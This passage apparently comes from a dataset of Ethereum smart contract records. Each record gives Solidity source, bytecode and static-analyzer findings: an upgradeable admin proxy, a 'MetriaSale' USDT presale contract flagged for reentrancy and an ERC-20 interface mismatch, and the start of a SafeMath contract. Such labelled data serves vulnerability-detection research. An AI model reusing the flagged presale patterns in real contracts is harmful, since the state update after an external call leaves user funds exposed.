// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 885 |
0xe94ddfefbdf03a11da229af3db102407c9976a45 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract Whitelist is Ownable {
mapping (address => bool) private whitelistUser;
bool private isWhitelistEnable;
modifier onlyWhitelisted() {
if(isWhitelistEnable){
require(isWhitelisted(msg.sender), "Whitelist: caller does not have the Whitelisted role");
}
_;
}
function isWhitelisted(address account) public view returns (bool) {
return whitelistUser[account];
}
function setWhitelistEnable(bool value) public onlyOwner returns(bool){
isWhitelistEnable = value;
return true;
}
function setWhitelistAddress (address[] memory users) public onlyOwner returns(bool){
for (uint i = 0; i < users.length; i++) {
whitelistUser[users[i]] = true;
}
return true;
}
}
// import ierc20 & safemath & non-standard
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface INonStandardERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transfer does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transferFrom does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transferFrom(
address src,
address dst,
uint256 amount
) external;
function approve(address spender, uint256 amount)
external
returns (bool success);
function allowance(address owner, address spender)
external
view
returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
contract MetriaSale is Ownable, Whitelist {
using SafeMath for uint256;
event ClaimableAmount(address _user, uint256 _claimableAmount);
//rate of token per usdt
uint256 public rate;
// max allowed purchase of usdt per user
uint256 public allowedUserBalance;
// check presale is over or not
bool public presaleOver;
// usdt token address
IERC20 public usdt;
// check claimable amount of given user
mapping(address => uint256) public claimable;
// hardcap to raise in usdt
uint256 public hardcap;
// participated user addresses
address[] public participatedUsers;
uint256 public totalTokensSold;
/*
* @notice Initialize the contract
* @param _rate: rate of token
* @param _usdt: usdt token address
* @param _hardcap: amount to raise
* @param _allowedUserBalance: max allowed purchase of usdt per user
*/
constructor(uint256 _rate, address _usdt, uint256 _hardcap, uint256 _allowedUserBalance) {
rate = _rate;
usdt = IERC20(_usdt);
presaleOver = true;
hardcap = _hardcap;
allowedUserBalance = _allowedUserBalance;
}
modifier isPresaleOver() {
require(presaleOver == true, "Metria Sale is not over");
_;
}
/*
* @notice Change Hardcap
* @param _hardcap: amount in usdt
*/
function changeHardCap(uint256 _hardcap) onlyOwner public {
hardcap = _hardcap;
}
/*
* @notice Change Rate
* @param _rate: token rate per usdt
*/
function changeRate(uint256 _rate) onlyOwner public {
rate = _rate;
}
/*
* @notice Change Allowed user balance
* @param _allowedUserBalance: amount allowed per user to purchase tokens in usdt
*/
function changeAllowedUserBalance(uint256 _allowedUserBalance) onlyOwner public {
allowedUserBalance = _allowedUserBalance;
}
/*
* @notice get total number of participated user
* @return no of participated user
*/
function getTotalParticipatedUser() public view returns(uint256){
return participatedUsers.length;
}
/*
* @notice end presale
*/
function endPresale() external onlyOwner returns (bool) {
presaleOver = true;
return presaleOver;
}
/*
* @notice start presale
*/
function startPresale() external onlyOwner returns (bool) {
presaleOver = false;
return presaleOver;
}
/*
* @notice Buy Token with USDT
* @param _amount: amount of usdt
*/
function buyTokenWithUSDT(uint256 _amount) external onlyWhitelisted{
// user enter amount of ether which is then transfered into the smart contract and tokens to be given is saved in the mapping
require(presaleOver == false, "Metria Sale is over you cannot buy now");
uint256 tokensPurchased = _amount.div(rate);
totalTokensSold = totalTokensSold.add(tokensPurchased);
uint256 userUpdatedBalance = claimable[msg.sender].add(tokensPurchased);
require( _amount.add(usdt.balanceOf(address(this))) <= hardcap, "Hardcap for the tokens reached");
// for USDT
require(userUpdatedBalance.div(rate) <= allowedUserBalance, "Exceeded allowed user balance");
doTransferIn(address(usdt), msg.sender, _amount);
claimable[msg.sender] = userUpdatedBalance;
participatedUsers.push(msg.sender);
emit ClaimableAmount(msg.sender, tokensPurchased);
}
/*
* @notice get user list
* @return userAddress: user address list
* @return amount : user wise claimable amount list
*/
function getUsersList(uint startIndex, uint endIndex) external view returns(address[] memory userAddress, uint[] memory amount){
uint length = endIndex.sub(startIndex);
address[] memory _userAddress = new address[](length);
uint[] memory _amount = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address user = participatedUsers[i];
uint listIndex = i.sub(startIndex);
_userAddress[listIndex] = user;
_amount[listIndex] = claimable[user];
}
return (_userAddress, _amount);
}
/*
* @notice do transfer in - tranfer token to contract
* @param tokenAddress: token address to transfer in contract
* @param from : user address from where to transfer token to contract
* @param amount : amount to trasnfer
*/
function doTransferIn(
address tokenAddress,
address from,
uint256 amount
) internal returns (uint256) {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
uint256 balanceBefore = INonStandardERC20(tokenAddress).balanceOf(address(this));
_token.transferFrom(from, address(this), amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a compliant ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_IN_FAILED");
// Calculate the amount that was actually transferred
uint256 balanceAfter = INonStandardERC20(tokenAddress).balanceOf(address(this));
require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW");
return balanceAfter.sub(balanceBefore); // underflow already checked above, just subtract
}
/*
* @notice do transfer out - tranfer token from contract
* @param tokenAddress: token address to transfer from contract
* @param to : user address to where transfer token from contract
* @param amount : amount to trasnfer
*/
function doTransferOut(
address tokenAddress,
address to,
uint256 amount
) internal {
INonStandardERC20 _token = INonStandardERC20(tokenAddress);
_token.transfer(to, amount);
bool success;
assembly {
switch returndatasize()
case 0 {
// This is a non-standard ERC-20
success := not(0) // set success to true
}
case 32 {
// This is a complaint ERC-20
returndatacopy(0, 0, 32)
success := mload(0) // Set success = returndata of external call
}
default {
// This is an excessively non-compliant ERC-20, revert.
revert(0, 0)
}
}
require(success, "TOKEN_TRANSFER_OUT_FAILED");
}
/*
* @notice funds withdraw
* @param _value: usdt value to transfer from contract to owner
*/
function fundsWithdrawal(uint256 _value) external onlyOwner isPresaleOver {
doTransferOut(address(usdt), _msgSender(), _value);
}
/*
* @notice funds withdraw
* @param _tokenAddress: token address to transfer
* @param _value: token value to transfer from contract to owner
*/
function transferAnyERC20Tokens(address _tokenAddress, uint256 _value) external onlyOwner {
doTransferOut(address(_tokenAddress), _msgSender(), _value);
}
function calculateToken(uint _amountUSDT) public view returns(uint) {
return _amountUSDT/rate;
}
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c806363b20117116100de578063b071cbe611610097578063c8d8b6fa11610071578063c8d8b6fa14610313578063e3b8686514610326578063eb72d0c814610339578063f2fde38b1461035a57600080fd5b8063b071cbe6146102e4578063b56d2f67146102ed578063bcd2f64a1461030057600080fd5b806363b201171461029457806370fa7f1d1461029d578063715018a6146102b057806374e7493b146102b85780638da5cb5b146102cb578063a43be57b146102dc57600080fd5b80632c4e722e116101305780632c4e722e146101f95780632f48ab7d146102025780633af32abf14610232578063402914f51461025e5780634738a8831461027e57806359ccecc91461028b57600080fd5b806304c98b2b1461017857806308b289b714610195578063158499ce146101aa5780631b3d36de146101bd57806324c68bc7146101de57806324f32f82146101e6575b600080fd5b61018061036d565b60405190151581526020015b60405180910390f35b6101a86101a3366004611037565b6103b1565b005b6101806101b8366004611077565b6103eb565b6101d06101cb366004611130565b610488565b60405190815260200161018c565b6008546101d0565b6101a86101f4366004611130565b61049e565b6101d060035481565b60055461021a9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161018c565b610180610240366004611149565b6001600160a01b031660009081526001602052604090205460ff1690565b6101d061026c366004611149565b60066020526000908152604090205481565b6005546101809060ff1681565b6101d060045481565b6101d060095481565b61021a6102ab366004611130565b6104cd565b6101a86104f7565b6101a86102c6366004611130565b61056b565b6000546001600160a01b031661021a565b61018061059a565b6101d060075481565b6101806102fb366004611164565b6105d9565b6101a861030e366004611130565b61061b565b6101a8610321366004611130565b610923565b6101a8610334366004611130565b6109c2565b61034c610347366004611186565b6109f1565b60405161018c9291906111a8565b6101a8610368366004611149565b610b69565b600080546001600160a01b031633146103a15760405162461bcd60e51b81526004016103989061122c565b60405180910390fd5b506005805460ff19169055600090565b6000546001600160a01b031633146103db5760405162461bcd60e51b81526004016103989061122c565b6103e782335b83610c53565b5050565b600080546001600160a01b031633146104165760405162461bcd60e51b81526004016103989061122c565b60005b825181101561047d57600180600085848151811061043957610439611261565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104758161128d565b915050610419565b50600190505b919050565b60006003548261049891906112a8565b92915050565b6000546001600160a01b031633146104c85760405162461bcd60e51b81526004016103989061122c565b600755565b600881815481106104dd57600080fd5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b031633146105215760405162461bcd60e51b81526004016103989061122c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105955760405162461bcd60e51b81526004016103989061122c565b600355565b600080546001600160a01b031633146105c55760405162461bcd60e51b81526004016103989061122c565b506005805460ff1916600190811790915590565b600080546001600160a01b031633146106045760405162461bcd60e51b81526004016103989061122c565b506002805460ff1916911515919091179055600190565b60025460ff16156106a2573360009081526001602052604090205460ff166106a25760405162461bcd60e51b815260206004820152603460248201527f57686974656c6973743a2063616c6c657220646f6573206e6f742068617665206044820152737468652057686974656c697374656420726f6c6560601b6064820152608401610398565b60055460ff16156107045760405162461bcd60e51b815260206004820152602660248201527f4d65747269612053616c65206973206f76657220796f752063616e6e6f7420626044820152657579206e6f7760d01b6064820152608401610398565b600061071b60035483610d3b90919063ffffffff16565b60095490915061072b9082610d84565b600955336000908152600660205260408120546107489083610d84565b6007546005546040516370a0823160e01b815230600482015292935090916107ca9161010090046001600160a01b0316906370a0823190602401602060405180830381865afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c391906112ca565b8590610d84565b11156108185760405162461bcd60e51b815260206004820152601e60248201527f4861726463617020666f722074686520746f6b656e73207265616368656400006044820152606401610398565b600454600354610829908390610d3b565b11156108775760405162461bcd60e51b815260206004820152601d60248201527f457863656564656420616c6c6f77656420757365722062616c616e63650000006044820152606401610398565b6005546108939061010090046001600160a01b03163385610da3565b503360008181526006602090815260408083208590556008805460018101825593527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee390920180546001600160a01b03191684179055815192835282018490527f62871c7b30027ac68155027c44a377be338ed75154b830a8b7fb419e2cb9a453910160405180910390a1505050565b6000546001600160a01b0316331461094d5760405162461bcd60e51b81526004016103989061122c565b60055460ff1615156001146109a45760405162461bcd60e51b815260206004820152601760248201527f4d65747269612053616c65206973206e6f74206f7665720000000000000000006044820152606401610398565b6005546109bf9061010090046001600160a01b0316336103e1565b50565b6000546001600160a01b031633146109ec5760405162461bcd60e51b81526004016103989061122c565b600455565b6060806000610a008486610fcd565b905060008167ffffffffffffffff811115610a1d57610a1d611061565b604051908082528060200260200182016040528015610a46578160200160208202803683370190505b50905060008267ffffffffffffffff811115610a6457610a64611061565b604051908082528060200260200182016040528015610a8d578160200160208202803683370190505b509050865b86811015610b5c57600060088281548110610aaf57610aaf611261565b60009182526020822001546001600160a01b03169150610acf838b610fcd565b905081858281518110610ae457610ae4611261565b60200260200101906001600160a01b031690816001600160a01b03168152505060066000836001600160a01b03166001600160a01b0316815260200190815260200160002054848281518110610b3c57610b3c611261565b602090810291909101015250610b559050816001610d84565b9050610a92565b5090969095509350505050565b6000546001600160a01b03163314610b935760405162461bcd60e51b81526004016103989061122c565b6001600160a01b038116610bf85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610398565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284919082169063a9059cbb90604401600060405180830381600087803b158015610ca057600080fd5b505af1158015610cb4573d6000803e3d6000fd5b5050505060003d60008114610cd05760208114610cda57600080fd5b6000199150610ce6565b60206000803e60005191505b5080610d345760405162461bcd60e51b815260206004820152601960248201527f544f4b454e5f5452414e534645525f4f55545f4641494c4544000000000000006044820152606401610398565b5050505050565b6000610d7d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610fe9565b9392505050565b600080610d9183856112e3565b905083811015610d7d57610d7d6112fb565b6040516370a0823160e01b8152306004820152600090849082906001600160a01b038316906370a0823190602401602060405180830381865afa158015610dee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1291906112ca565b6040516323b872dd60e01b81526001600160a01b03878116600483015230602483015260448201879052919250908316906323b872dd90606401600060405180830381600087803b158015610e6657600080fd5b505af1158015610e7a573d6000803e3d6000fd5b5050505060003d60008114610e965760208114610ea057600080fd5b6000199150610eac565b60206000803e60005191505b5080610efa5760405162461bcd60e51b815260206004820152601860248201527f544f4b454e5f5452414e534645525f494e5f4641494c454400000000000000006044820152606401610398565b6040516370a0823160e01b81523060048201526000906001600160a01b038916906370a0823190602401602060405180830381865afa158015610f41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6591906112ca565b905082811015610fb75760405162461bcd60e51b815260206004820152601a60248201527f544f4b454e5f5452414e534645525f494e5f4f564552464c4f570000000000006044820152606401610398565b610fc18184610fcd565b98975050505050505050565b600082821115610fdf57610fdf6112fb565b610d7d8284611311565b6000818361100a5760405162461bcd60e51b81526004016103989190611328565b50600061101784866112a8565b95945050505050565b80356001600160a01b038116811461048357600080fd5b6000806040838503121561104a57600080fd5b61105383611020565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561108a57600080fd5b823567ffffffffffffffff808211156110a257600080fd5b818501915085601f8301126110b657600080fd5b8135818111156110c8576110c8611061565b8060051b604051601f19603f830116810181811085821117156110ed576110ed611061565b60405291825284820192508381018501918883111561110b57600080fd5b938501935b82851015610fc15761112185611020565b84529385019392850192611110565b60006020828403121561114257600080fd5b5035919050565b60006020828403121561115b57600080fd5b610d7d82611020565b60006020828403121561117657600080fd5b81358015158114610d7d57600080fd5b6000806040838503121561119957600080fd5b50508035926020909101359150565b604080825283519082018190526000906020906060840190828701845b828110156111ea5781516001600160a01b0316845292840192908401906001016111c5565b5050508381038285015284518082528583019183019060005b8181101561121f57835183529284019291840191600101611203565b5090979650505050505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156112a1576112a1611277565b5060010190565b6000826112c557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156112dc57600080fd5b5051919050565b600082198211156112f6576112f6611277565b500190565b634e487b7160e01b600052600160045260246000fd5b60008282101561132357611323611277565b500390565b600060208083528351808285015260005b8181101561135557858101830151858201604001528201611339565b81811115611367576000604083870101525b50601f01601f191692909201604001939250505056fea2646970667358221220664aafeb1da3e5e8240ad4faed1827546b24f8903641c83072f1147eff8e2f8b64736f6c634300080b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 886 |
0x83bce7d14709917b65a2d6c86a3b53fce34532fc | pragma solidity >=0.6.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnFrom(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
